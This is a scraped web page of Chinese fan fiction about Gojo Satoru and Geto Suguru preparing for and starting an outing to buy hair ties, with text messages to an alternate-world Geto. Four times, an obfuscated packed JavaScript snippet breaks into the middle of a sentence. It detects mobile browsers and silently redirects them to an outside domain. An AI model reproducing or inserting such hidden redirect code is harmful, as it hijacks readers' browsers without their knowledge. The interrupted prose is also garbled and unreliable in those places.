确认对方不准备把落到他手上的发圈要回去之后，五条悟心中某些属于猫的成分又开始蠢蠢欲动了——对这种细绳类的东西有着强烈的兴趣。他看了两眼夏油杰现在用的发圈，问：“杰没有更好看的吗？亮闪闪的那种。” 五条悟对这种东西并没有研究过，不过身高摆在这儿，在辅助监督的堵在路上实在无法赶到、且没能成功说服夏油杰用咒灵飞回去的时候，他们也不得不去挤电车，就在这种时候，五条悟随便一低头就能看见JK用来束发的各式发圈。 那些发圈可能会缀着碎钻、水晶之类的装饰物，被灯一照就能反射出五颜六色的光彩来，会吸引猫的视线实在合情合理。 可五条悟看两眼又不会特别在意，先前还一直觉得夏油杰应该会有一些格外的巧思。但，出乎意料的是，在夏油杰这个从头到脚都有着别样设计的潮流男高中生身上，只有发圈的部分是非常普通的，好像已经在其他方面消耗完了自己的时尚细胞。 五条悟突然产生了一些完全与恶作剧无关的冲动——既然杰身上的其他地方已经被杰自己装扮好了，那么还有一处没来得及打扮的地方，理所应当地就该属于他吧？ 夏油杰一时间没明白他在说什么，顺着他的视线才意识到此猫已对他的发圈产生了极其浓烈的兴趣，无奈道：“因为是春假的时候才留起来的头发，虽然之前有一些想法，但高专的任务比想象中重，所以没有时间去尝试……” 不过现在他觉得丸子头也挺好看的，短期内没有改变造型的打算。至于那些配饰花哨的发圈……哎呀，有些时候会觉得过分花哨了反而不太合适呢。 一种强烈的不爽涌了上来，五条悟默了默，咕哝道：“所以，杰果然还有老子没见过的形态啊……” 听起来像是短发的国中生杰耶，有点想看。 “不要随随便便把别人改变造型的举动说得像是物种改变了一样。”夏油杰忍不住吐槽，伸手在颈后往上的地方比划了一下，“就算是那个时候也没有很短，我一直都想留长发的，虽然真的留长之后偶尔会觉得有点麻烦……” 夏油杰国中时是留的是稍微有点短的狼尾，老早就是被重点关注的不良少年了，但他成绩很好，倒是没正儿八经地因为不大符合规定的发型受过处罚。 五条悟嘟嘟囔囔：“但是老子都没见过！杰之前的照片一张都没给老子看过，可恶，我也很想知道杰之前是什么造型啊！” 邪恶白毛球嗷嗷一叫就要往绝望的人类衣服里钻，一点隐私都不打算给人留。夏油杰白他一眼，“说得像悟就给我看了似的。先看看你的。” 五条悟想了想说：“没有那种东西。老子小时候是超珍稀动物，禁止拍照的啦。” 因为一出生就空降悬赏榜榜一，五条家考虑之后决定不让他的照片流出，最简单的方法就是根本不拍。虽说也不是完全没有那种留影记录，但肯定不多，找起来还麻烦…… 他不过随口一说，却好像让夏油杰多余联想了不少东西，很微妙地一顿，忽的便妥协道：“我之前没有拍照的习惯，不过家里应该是有毕业纪念照的……下次回家的时候会把照片带过来的。” “哦。”五条悟没费多少功夫就达成了目的，没有深究就继续回归正题，“老子来给杰挑发圈吧。之前路过精品店有看到过好看的哦，杰用的话会很漂亮的。” 他惦记着马上拿下夏油杰发圈的处置权，话题转得很生硬，甚至有点突兀了。如果说他之前还有点把聪明才智全藏在笨蛋男高的表象下的意思，现在完全就已经是笨蛋了。 夏油杰：“……” 真是冒昧啊，你不觉得我们之间有点暧昧了吗？ 他一时间没法判断出五条悟说出这样的话，究竟是出于对唯一的朋友的占有欲，还是自己都没能意识到的、超越了界限的喜爱…… 可以吐槽的部分实在太多，不过夏油杰鬼迷心窍，根本没提醒挚友这回事，反而顺势吐槽了最不重要的那条：“悟，形容男生不应该用漂亮吧？” 五条悟撞了他肩膀一下，胡搅蛮缠道：“啊——不要管没必要的细节啦！快点，杰快答应老子啊！” 这家伙，偶尔也很像会用扑人来撒娇，却不知道自己体型恐怖的大狗…… 夏油杰被他撞得一个踉跄，半推半就地答应了下来，假作嫌弃道：“好好，我知道了！不许选太夸张的！” 五条悟皱了皱鼻子，似乎感到了挚友对他审美的怀疑，飞快反驳道：“老子很认真的，才不会故意捣乱呢！”他顿了顿，又说，“那我们明天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15309051|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去逛街吧？就跟夜蛾说我们要再休息一天，没大事的话他肯定会同意……” 夏油杰淡定地比了个“OK”的手势。 呵呵。 彻底黑化小狐在心中冷笑，毛茸茸的大尾巴若有似无、欲拒还迎地在被野生狐狸精吸引了注意力、半只脚都已经往外挪的白猫面前晃来晃去，果不其然顺利将猫咪的视线重新吸引了回来。 才不是因为还抹不开面子，所以显得好像什么都没做就有猫送了上来……咳！ 总之，他没费任何力气就先下一局，现在看来根本不知道怎么输。 都自认为达成了目的的猫猫狐狐勾肩搭背着得意地翘着尾巴离开了。 而在他们离开后不久，第三个人来到了解剖室，打碎了储藏柜的门抽走了一份尸检报告，读完上面并不算多的文字后久久伫立，几个小时前才被家入硝子救回来的二级术师踩着夕阳的光斑悄无声息地叛逃了。 …… 五条悟暂且对此一无所知。 他和夏油杰回寝室后的第一件事就是问夜蛾正道任务报告的事。意外的是，之前交上去的超敷衍版本任务报告并没有被打回来，高层的烂橘子也没有发表任何意见。 “悟，高层什么也没说，态度非常奇怪，我觉得你和杰最近应该得……”夜蛾正道还在发表自己的困惑，顺便打算嘱托学生们什么事。 五条悟飞快道：“哦，那就这样吧。老子和杰要续一天假，夜蛾拜拜！” 夜蛾正道：“等等，悟——” 他那些让他们最近安分些的话都没能说得出来，电话挂断了。 夏油杰略有点不太赞同地说：“夜蛾老师的话还没说完呢，悟。” 已经预定了明天出去玩的五条悟很兴奋，根本不在乎这点小小的插曲，直接将手柄丢给他，满不在乎道：“反正也只是些让人听得耳朵起茧的话，老子又不是不知道……暂时不管啦，比起夜蛾，杰不应该先担心一下今天还是会被老子完虐吗？” 夏油杰：“……” 夏油杰：“呵呵。” 对身边笨蛋的喜爱暂且褪去，一些笨蛋男高中生强烈的胜负欲涌了上来。 两个笨蛋打游戏打到半夜，最终以夏油杰以一局的优势险胜，得意的狐狸完全沉浸在胜利的喜悦当中，做了个鬼脸溜得飞快，根本没给五条悟开口让他留下来的机会。 五条悟：“……” 杰，真的是直男啊！！！ 试图创造机会但不得要领的笨猫带着淡淡的忧伤睡下了。他精神很好，本来就不那么依赖睡眠，再加上昨天睡得有点久，五条悟在离平常起床时间还有两个小时的时候醒来了。 他摸过手机看时间，本来还不那么清醒，却看见了一条不久前发来的短讯。 A：【……悟突然变得有点奇怪。是你们聊了什么吗？】 对方的身份不必怀疑，事已至此，如果是那个白毛的话，根本不必如此迂回地模仿搭档。 夏油先生的文字看起来略带无奈，似乎还有点迷茫。 五条悟敏锐地注意到，夏油先生好像并没觉得自己的手机被搭档动了是多么不得了的事情，他的态度甚至更倾向于知道他们之间究竟说了什么…… 啊，突然有种狂扇别猫巴掌后被对方饲主找上门来的感觉呢。 31.第 31 章 比起回答问题……五条悟看到现在的时间有点生气地反问道：【杰为什么现在就醒了？晚上不睡觉吗？】 就像之前夏油杰说的一样，只要看到了短讯他有空都会回的。夏油先生也这样，但显然能发现这家伙的作息非常灵异…… 五条悟作为咒术师，时常要和不通人性可能随时出现的咒灵战斗，作息混乱是很正常的事。 可是，夏油先生这个暂时停止活动赋闲在家的搞笑艺人，究竟是如何做到无论五条悟什么时候发消息，大多数时间都能秒回的？甚至连对门的高中生也是有绝对不可能回消息的睡觉时间的…… 对面的搞笑艺人真的有正经睡过几次觉吗？ 五条悟的攻击欲望无比强烈——同位体那个笨蛋到底在做什么啊！这不还是什么都没改变吗？！ 不过，在他跳脚之前，夏油先生的安抚就先过来了。 A：【嗯……这件事让悟担心了吗？我只是不用睡太多而已，所以看起来好像不怎么休息，但我当然也有好好休息的。】 A：【倒是悟，最近这几天都很忙吧？今天也起这么早，是有什么事要做吗？我现在找你会不会太打扰了呢，不会影响你今天的安排吧？】 毕竟伸手不打笑脸人，夏油先生的态度太温和了，五条悟率先一步冲他发了脾气，现在也不太好意思再闹，只能弱弱地回：【不，今天只是要出去玩而已。杰那边真的没关系吗？老子昨天确实说了有点过分的话，那家伙当真了？他没对杰做什么不好的事情吧？】 五条悟现在才感觉紧张了起来，他昨天狂扇别猫巴掌倒是爽了，现在刚想起来自己也和人家的饲主关系超好……如果因此给人家的饲主带来了麻烦，那完全非他本意。 对方沉默了一会儿，回复道：【没有哦，不管哪个世界的悟当然都不是坏人。只是有些时候，悟也该考虑一下自己的风评吧？他突然来问我“为什么那样的男人都可以他不行”的时候，稍微……让我吓了一跳啊。】 五条悟：“……” 那家伙到底怎么回事啊？这下不是变得更败犬了吗？ 他略感心虚地打字说：【是这样啊……老子觉得自己昨天说话超浮夸的耶，其实可信度没那么高吧？】 A：【没办法呀，他相信了。我也……没有解释。解释这种事情也没有意义，我本来也不是为了和悟发展出什么额外的关系才想解散的，究竟是不是单身性取向又如何都和悟没关系，只不过那种时候又让五条家的长辈们听见了，呵呵，无论如何也洗不干净了，随便吧。】 哇哦。 五条悟情不自禁地发出惊叹声。 他隐约知道，先前那个笨蛋还没适应六眼时，周围围着一大圈不明真相干着急的五条橘子们，夏油先生获知真相后非常强硬且用略显激烈的操作将橘子们赶走了。无论如何，在五条橘子们的视角下，夏油先生就是完全无关的“外人”…… 本来就在五条先生那里得不到什么好脸色，在可恶的外人来之前甚至还解决不了问题。现在又被外人赶走，心中不爽肯定非常强烈。结果如今猛然得知此等劲爆消息，没能当场驾鹤西去已经算烂橘子们心肌强大了。 哈哈……意图侵夺五条家财产的狐狸精居然还放不下圈外的神秘男友，把家主迷得五迷三道自愿当三，脚踩两条船却仍然让五条家奈何不得，就那样的苦情剧，放电视上能你爱我我不爱你我爱你你不爱我了地演80集，夏油先生却已经展现出了满不在乎的态度。 也不知道这种状况到底算不算得上危险……五条悟诚挚道：【对不起qvq可以的话，老子可以和那个笨蛋解释的，事情才不是他想的那样子！】 夏油先生的文字看起来非常平静，平静得甚至有点可怕了。 A：【不用了，这样就好。至少从今往后五条家的老爷爷们不会再来了，人变少了对悟也好，我也只是想知道发生了什么而已，没有怪你的意思。】 A：【今天要出去玩的话，就不要再考虑其他事了，如果不专心的话，对一起的同伴也不好，对吧？如果真的很在意的话，晚上回来再聊吧，那个时候我应该已经解决问题了。到时候会告诉悟情况的。】 A：【现在时间还早，悟还是再睡一会儿吧。拜拜。】 五条悟无奈：【喂喂，等一下啦！都这样了怎么可能还睡得着啊？】 A：【^ ^那也没办法呢，毕竟魔法小悟再厉害，也对我的世界不能有实质性的影响，具体的事情当然还是得由我自己来做。】 五条悟：“……” 果然是“夏油杰”啊，先前尽管已经down到谷底，却还努力地在他面前做出一副成熟大人的样子，现在却有点控制不住地显露出了叛逆的气息——他可能会听五条悟的意见，但绝对不可能完全遵从他的建议，如果五条悟真的让他的搭档非常不开心了，夏油先生绝对会生气的捏。 比如这回，虽然他嘴上说着没生气，但已经有敲打过于放肆的电子小猫的意思了。也不知道五条先生究竟又哭出了怎样的新高度，才会让一向很稳定的夏油先生都忍不住过来敲他…… 呜呜，果然还是亲的搭档更好。五条悟没什么诚意地假哭了片刻，看了一眼时间，离七点都还有一个半小时多，他反正也睡不着了，于是也决定去看看自己的亲搭档亲挚友。 夏天亮得早，现在天已经蒙蒙亮了，五条悟也担心挚友还没醒，他才不想影响夏油杰睡觉呢，所以只是小心翼翼地开了夏油杰的寝室门。 他才轻轻地把门推开了一个小缝，人还没往里走，就猛地被摁了回去，门在“砰”的一声巨响后关死了，夏油杰惊恐的声音随之传来：“悟？你怎么现在就醒了？” 被拒之门外的五条悟：“？？？？？” 五条悟瞪大眼睛也很惊恐：“杰？？？你怎么醒了？？？” 他不久前还在想暗自腹诽说连夏油杰都有不回他消息的睡觉时间，怎么一开门过来这家伙也醒着啊！没听说过狐狸是夜行动物啊？ 可别告诉他健康的青少年也不需要睡那么多，他之前才被狐狸翘脚一睡憋死过！五条悟被异世界似乎有点精神异常的夏油 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15323372|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生刺激到了，非常紧张地又转了转门把手试图把门推开，同时怒道：“杰在做什么啊？为什么不开门让老子进去？” 夏油杰简直觉得见了鬼。 大家都明白的，作为一个潮男，在明知道有类似于约会的情况下，会提早一些醒过来进行一些笨蛋约会对象根本看不出来的打扮也很正常吧？不管是服装发型还是耳钉，都是需要提前挑选的……虽然某个笨蛋不一定能注意到，但他的仪式感可是很重的！ 谁、谁会想到在他认认真真挑衣服的时候忽然听见门响了啊？大清早的，突然就听见门把手被转动的声音，他当然是先过来把门按住啊！ 可恶，这种潮男的小心机怎么可能让五条悟知道啊？绝对不可能在这种时候把他放进来的！ 这小子今天也不知道为什么醒这么早，还一副跑来抓奸的样子，搞什么！他明明只是在挑衣服而已！！！ 夏油杰顾左右而言他，抵着门大叫道：“什么啊！我不醒的话悟想做什么啊？！悟为什么要趁着我没醒的时候进我的房间啊？！” 你的行为有一点危险，但我的谨慎又很恰巧地弥补了这一点……如果不往奇怪的剧情方向去想的话，趁着朋友睡觉的时候潜入房间绝对就是为了恶作剧吧？醒来之后还要出去逛街，你的刺挠瘾就那么大吗？！有病吧？！ 到底是谁教五条悟这样吸引在意的人的注意力的啊？小学毕业了吗？！没有人能毁掉他今天的约会，哪怕是约会对象本人也不行！ 五条悟一下就发现了他的敷衍，顿时更加坚定了进去的想法，砰砰地撞了两下门，磨着牙说：“让老子进去——” let 咪 in！ “不行，真的不行！”夏油杰手忙脚乱地去摸门锁，“我、我在换衣服呢，悟等会再过来！” 五条悟怀疑道：“杰这么早起来换衣服？” 夏油杰不语，只是冷静地锁门，门锁落定，发出“咔哒”一声。 猫，是一种很恐怖的生物。当你把门开着时，它对里面的空间不屑一顾，但当门被锁上时，它就会疯狂地挠门大叫。猫，很坏。 五条悟听见动静了，立刻“砰”地一下敲在了门上，叫道，“不许锁门！只是换衣服的话老子为什么不能进来啊？老子又不是没见过杰的裸——” “啊啊啊啊啊啊啊啊啊啊——！”夏油杰崩溃地尖叫，“可以了！不要把这种事情说出来！” 咒术师的衣服更替速度很快，毕竟在战斗中很容易就会损伤，所以“坦诚相见”的次数也算不上少……但是、正常人类是不会把这种话挂在嘴上的！ 只是，五条悟的脑回路显然与旁人不同，总是猝不及防地就想带着优等生一起裸奔大叫……夏油杰放弃锁门了，默默将门锁打开，人却还死死抵在门上，勉强找回几分神智试图和想要破门而入的超级大坏猫商量：“好了、好了悟，小声一点。等我换好衣服再让你进来行不行？我很快就能换好了。” 肉眼可见，今天的约会已经有了非常灾难的开局。 夏油杰绝望地闭上了眼。 32.第 32 章 五条悟不愿意：“老子想进去等嘛——求求你了杰！只是换衣服而已，老子可以不看啊！” 夏油杰愈发无语了，不可思议地震声道：“你还想看啊？！” 这家伙今天到底什么毛病啊？ 五条悟本来不觉得奇怪，但夏油杰这样一提，他突然也感觉好像有点不合适，静默片刻后说：“哎呀，口误……老子本来就不看，但是老子就想进去！” 超级大坏猫心里嘀嘀咕咕——杰有些时候也太不大方了！ 如果坦坦荡荡地就开了门，五条悟当然不可能这样不依不饶，但是就非得藏着掖着，五条悟就总感觉他在做一些不好的事情，所以一定要冲进去看一眼才放心。 夏油杰：“……” 还披散着头发的优等生把门拉开一条小缝，露出一只幽怨的眼睛，黑气满满地说：“悟今天到底怎么了？都说我在换衣服了啊！喂，别挤……” 在放弃挣扎的夏油杰没多少诚意地推拒下，五条悟强行挤了进去，把门重新按上，视线在房间内梭巡了一圈，没能发现不太对劲的地方才松了口气，顶着挚友无语的眼神滚到了床上，把优等生还没来得及叠的被子一掀就缩了进去。 五条悟闭上眼坦然道：“杰换吧，老子不会看的。” 继清早破门而入之后，夏油杰又吃了今天第二噎，他抱着手立在床边看着闭着眼睛似乎很纯良的白发少年，半晌后无情一巴掌打了下去，怒道：“真是的，回自己寝室去睡啊笨蛋！悟闹这么一通就是为了霸占我的床？” 他的怒意来得莫名其妙，其中甚至还隐含着几分委屈。 手掌打在被子上，发出“砰”的一声，五条悟拉起被子埋住脑袋，夸张地扭动着身子闷声大叫道：“啊呀——好痛！杰太坏了，人家都已经睡着啦！” 算了，不和笨蛋计较。夏油杰深吸了一口气，“好吧，那我等会儿叫你。” 他说完之后就真的离开了，五条悟又把被子拉下来，眨巴眨巴眼睛看着夏油杰在衣柜前的背影，这家伙居然真的在很认真地挑衣服……哇塞，不至于吧，居然提前一个多小时起来打扮啊。 五条悟忽然想，他是不是也该稍微打扮一下？ 不过时尚的完成度最终还是要靠脸，五条悟天生丽质，套麻袋都帅，再想到自己好不容易才进了门，闹了半天居然又突然要走，实在有故意挑事的嫌疑…… 就算是五条悟，也不会在约会开始前莫名其妙给约会对象上强度的。他难得有点后悔，闭着眼睛回想自己那些衣服究竟还能怎么搭。 夏油杰的房间里有些很奇特的香气，再配上他慢悠悠翻衣服发出的仿若白噪音的沙沙声，五条悟竟然不知不觉间就睡着了。 梦里，他看见一个西装革履的“五条悟”泪眼婆娑地指控他：“好差劲啊，为什么这种男人都可以我却不行？” 五条悟忽的被骂，后知后觉地产生了反驳的想法，龇牙咧嘴地不满道：“放屁，我这样的男人难道很差劲吗？” 虽然、虽然后来的情况有些不尽如人意，至少他也已经努力过了，肯定比根本没努力过的家伙好多了吧！ 差劲？呵呵，谁差劲了！你才差劲，你最差劲了！ “啪！”清脆的合掌声响起。 五条悟猛然惊醒。 夏油杰蹲在床边施施然将手搭下来，耷拉着眼皮很做作地叹息道：“Sa、to、ru——太差劲了吧？怎么真的睡着了啊？你知道我们今天要出去玩的，对吧？” 他本以为五条悟急吼吼过来一定有什么高论，谁知道这家伙就往他床上一扑不太安详地睡了，中途似乎还做了噩梦，嘴里嘟囔着“差劲”之类的话…… 于是夏油杰一开口也忍不住被带走了，但五条悟听到的反应却几乎说得上是惊悚了。 他猛地翻身坐起，瞪着眼睛不可置信道：“差、差劲？难道杰真的觉得老子很差劲吗？” 夏油杰战术后仰，闻言懵懵地摇了摇头：“不……我没这么觉得。只是刚刚听见悟说梦话了而已，悟做噩梦了吗？” “噩梦，算不上，就是梦到了讨厌的家伙……”五条悟嘀咕着，他刚醒来不久，又自认为这里是非常安全的地方，所以洞察力暂未上线，隐隐觉得夏油杰今天好像有什么不同，但一时间又说不出来，只能不太清醒地盯着。 “诶？好吧，悟也差不多该回去洗漱了，我要收拾东西，悟如果速度快的话就在大门的地方等我……”夏油杰看他没事便站起身来，一边说着一边转过去走人，却突然被五条悟抓住了手。 夏油杰的手很好看，修长有力、骨节分明，指甲一向修剪得很干净，但今天却涂上了一层哑光黑的指甲油。 明明也没有太大的差别，五条悟却莫名有种被抓住了后脖颈的紧迫，汗毛炸起也不清楚到底是紧张还是兴奋……很显然，夏油杰也是这种状态，只不过因为两个人都有点异常，所以没能发现对方的怪异。 五条悟捏着他手腕看了一会儿，不知道怎的有点稍显词穷，喉结动了动总算憋出话来：“杰会涂指甲油啊……” 夏油杰视线略有点飘忽，微微颔首说：“啊，原来也会涂的……不过之前一直以为没能带到高专来。最近才发现居然带了一瓶。今天刚好醒得早，就……涂了一下，看着还不错？” 已经预料到即将可能再吃第三噎的开屏小狐心中平静地想，要是这小子在这时候刺挠瘾犯了要和他唱反调的话——他今天就把五条悟掐死在床上，他们俩同归于尽得了。 五条悟干巴巴地说：“……对，挺好的，很酷。” 夏油杰很僵硬地礼貌道：“……谢谢。” 虽然没有因为用力过猛地打扮被嘲笑，但这到底算什么反应啊？仅仅只是礼貌性的夸赞吗？还是说觉得男生涂指甲油很奇怪但因为是他所以没有多说？可是这家伙性取向不是男吗？应该不会有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15331676|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种想法吧？那为什么会这么平静啊！止乎礼了吗？！ 开屏小狐在心中大声尖叫。 而五条悟并不知道自己逃过了被掐死的悲惨结局，艰难地将视线移到了别处去，放开了夏油杰的手，却又打量了片刻挚友今天的装扮——薄荷绿短袖衬衫外搭白色打底衫，黑色长裤配金属扣皮带。 虽然看起来只是非常休闲的穿搭，但五条悟就是能get到此人一定有些特别的设计，比如其他都好好地扣了起来却一定要解开领口纽扣露出修长的脖颈…… 夏油杰看起来实在对这次出门非常用心。 咒术师的梦多少有些喻示的意思，刚刚才醒的五条悟终于明白自己差劲的点在何处了——他、完全忘记了！自己睡着之前可是在思考今天出门穿什么的！ 五条悟乱七八糟地从床上翻了起来，急匆匆地冲出门去，又忽的返回来扒着门说：“对不起啦杰，但是你稍微、稍微等老子一会儿——很快就好！” 他冲回了自己寝室，房门关上发出“砰”的一声巨响。 飞速洗漱完毕，五条悟拉开自己衣柜，看着一堆五条家特供古朴（土）、奢华（太繁复）的衣服感觉心如死灰，平时只要普普通通校服一套就好了，哪里需要考虑什么穿搭……但今天确实不一样，对方非常郑重，他当然也得拿出相应的态度，不过用力过猛也是不行的，毕竟只是出门逛街嘛。 五条悟没有办法，最后吐槽过本家的审美实在太过时后，只能绝望地套上白T短裤希冀靠脸补全一切看起来不太认真的地方。 他搓了搓脸，出门跟夏油杰会合。 夏油杰倒是没对他有些过于朴素的穿搭过多评价。 五条悟总感觉这家伙似乎都没多看几眼，开屏失败的五条少爷只能默默盘算下一次。下一次和杰出门，他一定能做好万全准备…… 太帅了吧！为什么只是这么简单的装扮却意外地展现出了很恐怖的帅气程度啊？！ 夏油杰不可置信，却不想让自己的眼神显得过于热切，于是只是淡淡地扫过一眼就自己在心中尖叫了起来——真、真不愧是悟啊。 两人沉默地向高专外走，却先在路上遇到了叼着面包的家入硝子。目空一切的女医生本来还没注意，只淡淡地冲他们招了招手示意他们过去。 等到他们走到女医生面前时，家入硝子才忽的意识到了什么，面无表情地打量过两个完全就是孔雀开屏的男同学，嘴角抽了抽，幽幽道：“哦，我知道，你们要出去约会？” 五条悟还没把钥匙还给她，档案柜就已经被砸了，这小子看起来也像完全忘了的样子……算了，打扰情侣约会可是会遭雷劈的,左右只是二级术师疑似叛逃而已，大概率和他们没关系。 家入硝子不想做打扰鸳鸯约会的大棒，没等两个心里有鬼的笨蛋男高乱七八糟地否认，她就摆了摆手示意自己完全不在意，说：“嘛，那就不着急了。玩得开心。” 33.第 33 章 从高专到市中心，得先步行一段距离到车站，再坐公交车历经十来个站。 虽然的确有靠咒灵走空路极速缩短时间的方案，但不知怎么的，两个人都没提起这事，只默默地等车，都未曾打算破坏目前的奇异氛围。 直到在摇摇晃晃地公交车后排座位上落座时，夏油杰才像刚反应过来似的，冷不丁发出惊讶的声音：“啊，硝子之前说约会什么的……” 好过分。明明硝子是更早知道五条悟恋爱状况的人，为什么现在还会对他们两个开这种玩笑……尽管夏油杰一向对同期全溺爱，但此时此刻也不禁产生些埋怨的心情了。 不过绝不能说他没有爽到——就算有不知名狐狸精比他率先抢跑一步，但在身边的人——无论是同学还是长辈看来，同五条悟最亲密的人无可指摘地有且只有他。 嘻嘻。 五条悟状作无意地应道：“差不多就是那样吧，也没什么差别啦，这种说法也可以。” 啊啊，硝子总是很不给人留面子。都说无论如何杰自认是直男了，还总是一副毫不知情的样子开这种玩笑，万一杰突然脑袋一拍蹿出些恐同情绪出来，那他要怎么办啊？等等……按照硝子的恶劣程度，该不会是因为知道了这回事所以故意的吧？！ 果然还是平常坏事做太多了吗？现在就被一直很讨厌臭男人的女同学报复了，还完全没有整蛊回去的理由……可恶，没想到是在这方面被硝子拿捏住了！ 夏油杰没想到五条悟应得这么自然，一时间预备解释些什么显得他没那么居心不良的话全在喉咙里卡住了。 已然迈上难以回头的歧路的优等生压下眼帘眼神闪烁片刻，将一些不必要的良知飞快拍走，立刻答应说：“嗯，我也这样觉得。” 关于此事的交谈似乎到此为止了，两人间即将陷入又一轮微妙的沉默。五条悟还是不愿意让话掉在地上，怀着种捧哏心态开启了下一轮话题：“对了杰，我们今天都要做什么啊？” 他的目的很单纯，只是想给夏油杰买些漂亮的发圈，但夏油杰看起来显然还有其他的安排…… 原谅单纯的小悟同学吧，他也是不久前才回过味来——夏油杰用来扎头发的发圈，恐怕除了天天黏在身边且拥有着超人身高的五条悟之外也不会有人能时常看见了，是甚至连夏油杰本人都不会过多在意的东西。 换句话来说就是，夏油杰的发圈仅限于给五条悟看而已，其他人想看都不一定能看见……而他却仍然顺从地答应了让五条悟来帮他选，无论他有没有意识到背后的深意，都大大满足了一只超级大恶猫的标记欲，这个嘴上说自己是直男的家伙，在很多地方实在对身边的挚友迁就过头了耶！ 五条悟想到这里就不禁瞥了一眼夏油杰盘得板板正正的丸子头，黑色的线圈完全藏在其中，几乎看不出痕迹来，但在今天之后，那颗丸子头就不可避免地要打上五条悟的标记了！ 只是这种感觉一时半会儿只能留着他一个人暗爽，甚至连仍然坚信自己是直男的挚友也无法说明。哎呀呀，明明这家伙已经连许多更重要的其他东西都愿意交出来了，却偏偏在很多莫名其妙的方面有着很固执的坚守，五条悟一时也觉得有点难办。 虽然肉眼可见有着许多麻烦，但不影响五条悟很高兴，几乎都快冒小花了。 夏油杰隐隐觉得挚友今天的心情兴奋得太超过了，却不知道具体原因究竟为何，毕竟他们先前也一起出门玩过，不过那时万万没有如今这般的乱七八糟的思绪，只是两个单纯的好朋友而已，谁能想到几个月之后感情就忽的升华了呢……虽说似乎只有他单方面的。 “嗯，我昨晚有看过哦。好不容易请了一天假出来玩，总不能买了东西就回去吧？”夏油杰把手机翻出来给他看，“市中心那边新开了一家电玩城呢，我们到的时候刚好就是开门的时间，上午稍微玩一玩，中午要吃什么我还没想好，如果悟有推荐的话就最好了，下午的话，逛逛街，买完饰品之类的就可以回高专了。” 不仅安排好了大概的计划，还给悟留下了自由发挥的部分……很完美的答案。夏油杰很满意，不枉他昨晚提前逃走做攻略。 “突然说要吃什么……啊，吃披萨好了。”五条悟嘴上说着，晃眼一扫，上面显示的是某个论坛的生活区，对于那家新开的电玩城最新的一条评价居然是—— “为什么关注的地方会是老板很帅啊？”五条悟忍不住吐槽，“谁要在玩的时候管老板帅不帅。” “嗯？”夏油杰有些诧异，凑近了一些去看，状作无意地让挑出来的刘海轻轻地蹭过挚友的脸，两个人几乎脸贴着脸地在观看贴子上对电玩城的评价。 夏油杰这才发现最新一条回帖的确突然地说到了老板很帅……他默了默忍不住道：“这个是……刚刚才发的。我之前没看到，重点是那边设施很齐全啦。” 五条悟皱了皱鼻子，夏油杰的刘海蹭得他脸痒痒的，但他不那么想伸手去拨开，便硬生生忍住了。听了夏油杰的解释后，他又得意起来，哼道：“有什么大不了的？反正也没老子帅啦~” 啧，原来的肢体接触太多了，所以悟根本不会产生其他的什么想法啊……夏油杰心下有些沮丧，若无其事地坐直回去，微微挑起眉毛露出很狡黠的笑，说：“骄傲过头了哦？比起受欢迎程度，悟其实也没比过我吧？” 五条悟：“……” 五条悟定定看了他一会儿，忽的扭开头很没道理地撞了他肩膀一下，鼓着脸含混地说：“老子才不要做像杰这样无意识散发魅力的笨蛋！” 他只想要杰像他喜欢杰这样喜欢他就好了，受不受其他人欢迎什么的，五条大人才不在意呢。 不过听夏油杰说了这样的话，五条悟兀的变得不爽起来，连先前对夏油杰提前一个多小时起来打扮的重视的惊喜都散去了好多。恐怕只是夏油杰本人对自身仪容仪表的要求罢了……果然还是可恶的直男开屏，上街想要吸引小姑娘的视线吗？ 太坏了夏油杰！ 五条悟恨恨地磨着牙想，一定会死死把你挡住的！ 突然生气了？夏油杰略感困惑，公交车已经到站了，五条悟没给他多想的机会，牵起他的手就走。 不知道是不是错觉……夏油杰总觉得五条悟今天若有似无地挡着他，不过他已经被两人牵着的手完全吸引了注意力，没有那种心力思考其他东西了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346783|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 猫，可真是恐怖的生物啊，只要喜欢就真的毫不吝啬地表达自己的亲近，丝毫没有人类那样百转千回的扭捏，只可惜此猫还并不完全属于他…… 